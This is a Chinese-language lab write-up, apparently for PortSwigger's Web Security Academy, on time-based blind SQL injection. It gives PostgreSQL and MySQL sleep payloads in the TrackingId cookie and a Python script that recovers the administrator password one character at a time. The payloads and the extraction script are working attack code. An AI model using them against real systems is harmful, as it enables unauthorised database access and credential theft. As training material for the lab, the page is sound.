> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/sql-injection/blind-sql-injection-with-time-delay-and-exfiltration.md).
# 基于时间的盲 SQL 注入数据外传
基于时间的盲 SQL 注入数据外传笔记，适用于 PortSwigger Web Security Academy 实验室，包括利用流程、载荷测试、Burp Suite 验证和修复上下文。
### 利用时间延迟和信息检索的盲 SQL 注入
的值 `TrackingId` cookie 被插入到同步 SQL 查询中。条件分支（`SLEEP` / `pg_sleep`）会在断言为真时触发；信息通过测量响应时间得出（即条件为真时产生延迟）。
#### PostgreSQL
* 简单的 5 秒睡眠：
```
TrackingId=' || pg_sleep(5) || '
```
* 条件式（测试是否 `username='administrator'` → 5 秒）：
```
TrackingId=' || (SELECT CASE WHEN (SELECT 'a' FROM users WHERE username='administrator')='a' THEN pg_sleep(5) ELSE pg_sleep(0) END) || '
```
* 测试密码长度 = 20：
```
TrackingId=' || (SELECT CASE WHEN (SELECT LENGTH(password) FROM users WHERE username='administrator') = 20 THEN pg_sleep(5) ELSE pg_sleep(0) END) || '
```
* 测试字符于 `pos` 位置：
```
TrackingId=' || (SELECT CASE WHEN (SELECT SUBSTRING(password, {pos}, 1) FROM users WHERE username='administrator') = '{char}' THEN pg_sleep(5) ELSE pg_sleep(0) END) || '
```
> Postgres 注：有时 `FROM` 位置必须根据注入的请求进行调整；以上示例是常见模式。
#### MySQL
* 简单的 5 秒睡眠：
```
TrackingId=' AND SLEEP(5)-- -
```
* 条件式（子串）：
```
TrackingId=' OR IF(SUBSTRING((SELECT password FROM users WHERE username='administrator'), {pos}, 1) = '{char}', SLEEP(5), 0)-- -
```
* 测试长度 = N：
```
TrackingId=' OR IF(LENGTH((SELECT password FROM users WHERE username='administrator')) = {N}, SLEEP(5), 0)-- -
```
> MySQL： `IF(条件, sleep(秒), 0)` 是标准形式；使用 `SUBSTRING(...)` 和 `LENGTH(...)`.
***
### 具体示例（完整 cookie）
假设 `BASE=abc123` 以及 session `'SESSION=XYZ'`.
* Postgres — 字符测试 pos=1== 'a'：
```
Cookie: TrackingId=abc123' || (SELECT CASE WHEN (SELECT SUBSTRING(password,1,1) FROM users WHERE username='administrator')='a' THEN pg_sleep(5) ELSE pg_sleep(0) END) || '; Session=XYZ
```
* MySQL — 字符测试 pos=1== 'a'：
```
Cookie: TrackingId=abc123' OR IF(SUBSTRING((SELECT password FROM users WHERE username='administrator'),1,1)='a', SLEEP(5), 0)-- -; Session=XYZ
```
### 自动化 Python 脚本（已更正，可适配 Postgres 和 MySQL）
该脚本测量延迟并逐字符重建。参数： `TARGET`, `BASE_TRACKING`, `SESSION`, `DBMS` (`'postgres'` 或 `'mysql'`），字母表，期望延迟（`SLEEP_SEC`）以及 `MAX_LEN`.
```python
#!/usr/bin/env python3
"""
基于时间的盲 SQLi 提取器（Postgres / MySQL）
用法：配置 TARGET、BASE_TRACKING、SESSION、DBMS，然后运行。
仅在授权环境中运行。
"""
import requests, time, string, sys, signal
# ------------- CONFIG -------------
TARGET = "https://EXAMPLE.web-security-academy.net/"
BASE_TRACKING = "test" # TrackingId 的合法部分
SESSION_VALUE = "SESSION_VALUE"
DBMS = "postgres" # "postgres" 或 "mysql"
SLEEP_SEC = 5 # 触发的服务端延迟
THRESHOLD = SLEEP_SEC - 1.0 # 如果响应时间 > 阈值 => 条件为真
ALPHABET = string.ascii_lowercase + string.digits # 根据需要调整
MAX_LEN = 30
TIMEOUT = SLEEP_SEC + 5
# ------------- /CONFIG -------------
HEADERS = {"User-Agent": "Mozilla/5.0"}
def build_payload(sgdb, pos, ch):
if sgdb == "postgres":
# 条件：substring(password,pos,1) = 'ch'
cond = f"(SELECT CASE WHEN (SELECT SUBSTRING(password,{pos},1) FROM users WHERE username='administrator') = '{ch}' THEN pg_sleep({SLEEP_SEC}) ELSE pg_sleep(0) END)"
payload = f"{BASE_TRACKING}' || {cond} || '"
elif sgdb == "mysql":
# IF(SUBSTRING((SELECT password ...),pos,1) = 'ch', SLEEP(X), 0)
cond = f"IF(SUBSTRING((SELECT password FROM users WHERE username='administrator' LIMIT 1),{pos},1)='{ch}', SLEEP({SLEEP_SEC}), 0)"
payload = f"{BASE_TRACKING}' OR {cond}-- -"
else:
raise ValueError("不支持的 DBMS")
return payload
def send_request(payload):
cookies = {"TrackingId": payload, "Session": SESSION_VALUE}
t0 = time.time()
try:
r = requests.get(TARGET, cookies=cookies, headers=HEADERS, timeout=TIMEOUT, verify=True, allow_redirects=False)
except requests.exceptions.RequestException as e:
return None, None
dt = time.time() - t0
return r, dt
def extract_password():
pwd = ""
for pos in range(1, MAX_LEN + 1):
found = False
for ch in ALPHABET:
payload = build_payload(DBMS, pos, ch)
_, dt = send_request(payload)
if dt is None:
print("[!] 请求失败，请重试或检查连接")
sys.exit(1)
# 调试：print(f"pos={pos} try={ch} dt={dt:.2f}s")
if dt > THRESHOLD:
pwd += ch
print(f"[+] pos={pos} -> '{ch}' (dt={dt:.2f}s)")
found = True
break
if not found:
print(f"[-] 在位置 {pos} 未找到字符 -> 可能结束")
break
return pwd
def sigint_handler(sig, frame):
print("/n已中断。正在退出。")
sys.exit(0)
if __name__ == "__main__":
signal.signal(signal.SIGINT, sigint_handler)
print("[*] 开始提取（基于时间）")
recovered = extract_password()
print(f"/n[=] 已恢复的密码（部分/估计）：{recovered}/n")
```
* 适用于 **Postgres**, `DBMS="postgres"`.
* 适用于 **MySQL**, `DBMS="mysql"`.
* 减少 `ALPHABET` 如果你知道字符集（收益很大）。
* 根据目标调整 `MAX_LEN` / `SLEEP_SEC` 根据目标。
* 必要时进行检索/指数退避回退。
---
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